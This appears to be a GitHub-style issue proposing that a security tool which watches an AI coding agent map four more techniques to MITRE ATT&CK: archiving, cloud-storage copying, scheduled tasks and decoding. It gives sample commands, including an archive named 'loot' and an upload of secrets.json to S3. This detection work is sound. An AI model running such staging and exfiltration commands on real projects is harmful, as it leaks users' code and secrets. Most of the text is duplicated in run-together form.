get_mitre_mapping has content upgrades for credential access and for network egress. Everything else that reaches a shell falls through to the tool-name mapping, which for a shell tool is T1059.
That is correct as a default and wrong for a set of techniques this sensor can genuinely see. Probed against the shipped mapper:
tar czf /tmp/loot.tar.gz ~/project -> T1059.004 T1560 Archive Collected Data
aws s3 cp secrets.json s3://bucket/ -> T1059.004 T1567.002 Exfil to Cloud Storage
Register-ScheduledTask -TaskName agent -> T1059.001 T1053.005 Scheduled Task
base64 -d payload.b64 > run.sh -> T1059.004 T1140 Deobfuscate/Decode Files
Why these four and not others
The bar is whether a tool-boundary sensor can observe the technique at all. Most of ATT&CK cannot be reached from here: phishing, SMB lateral movement, rootkits, and everything else that happens outside the calls a coding agent makes. Those are a boundary and should stay unmapped.
These four are different. The evidence is present in the command string the hook already captures, and the mapper simply does not look for it.
T1560 is the most valuable of the four. Staging an archive immediately before an upload is the shape of a real exfiltration, and it currently reads identically to running a build. A sequence rule cannot correlate on a technique that never gets assigned.
Why it matters beyond the labels
The site now publishes coverage as 19 of 697 ATT&CK techniques, with the argument that most of the remainder is architecturally out of reach. That argument is honest only while the observable gaps are small and named. These four are named here so the claim stays true.
Direction
Extend the content-upgrade layer with archive, cloud-storage-copy, scheduler and decode patterns, in the same shape as the existing credential and egress upgrades, including the masking rules so a path inside quotes is not treated as an action.
Worth doing together with #50 and #51, since all three are about the same layer reading command text with more precision.
Blocked
core/audit/mitre.py and detection/traits.py are ruleset fingerprint inputs. Hold until the dogfood gate closes, with #44, #49, #50 and #51.
get_mitre_mappinghas content upgrades for credential access and for network egress. Everything else that reaches a shell falls through to the tool-name mapping, which for a shell tool isT1059.That is correct as a default and wrong for a set of techniques this sensor can genuinely see. Probed against the shipped mapper:
Why these four and not others
The bar is whether a tool-boundary sensor can observe the technique at all. Most of ATT&CK cannot be reached from here: phishing, SMB lateral movement, rootkits, and everything else that happens outside the calls a coding agent makes. Those are a boundary and should stay unmapped.
These four are different. The evidence is present in the command string the hook already captures, and the mapper simply does not look for it.
T1560is the most valuable of the four. Staging an archive immediately before an upload is the shape of a real exfiltration, and it currently reads identically to running a build. A sequence rule cannot correlate on a technique that never gets assigned.Why it matters beyond the labels
The site now publishes coverage as 19 of 697 ATT&CK techniques, with the argument that most of the remainder is architecturally out of reach. That argument is honest only while the observable gaps are small and named. These four are named here so the claim stays true.
Direction
Extend the content-upgrade layer with archive, cloud-storage-copy, scheduler and decode patterns, in the same shape as the existing credential and egress upgrades, including the masking rules so a path inside quotes is not treated as an action.
Worth doing together with #50 and #51, since all three are about the same layer reading command text with more precision.
Blocked
core/audit/mitre.pyanddetection/traits.pyare ruleset fingerprint inputs. Hold until the dogfood gate closes, with #44, #49, #50 and #51.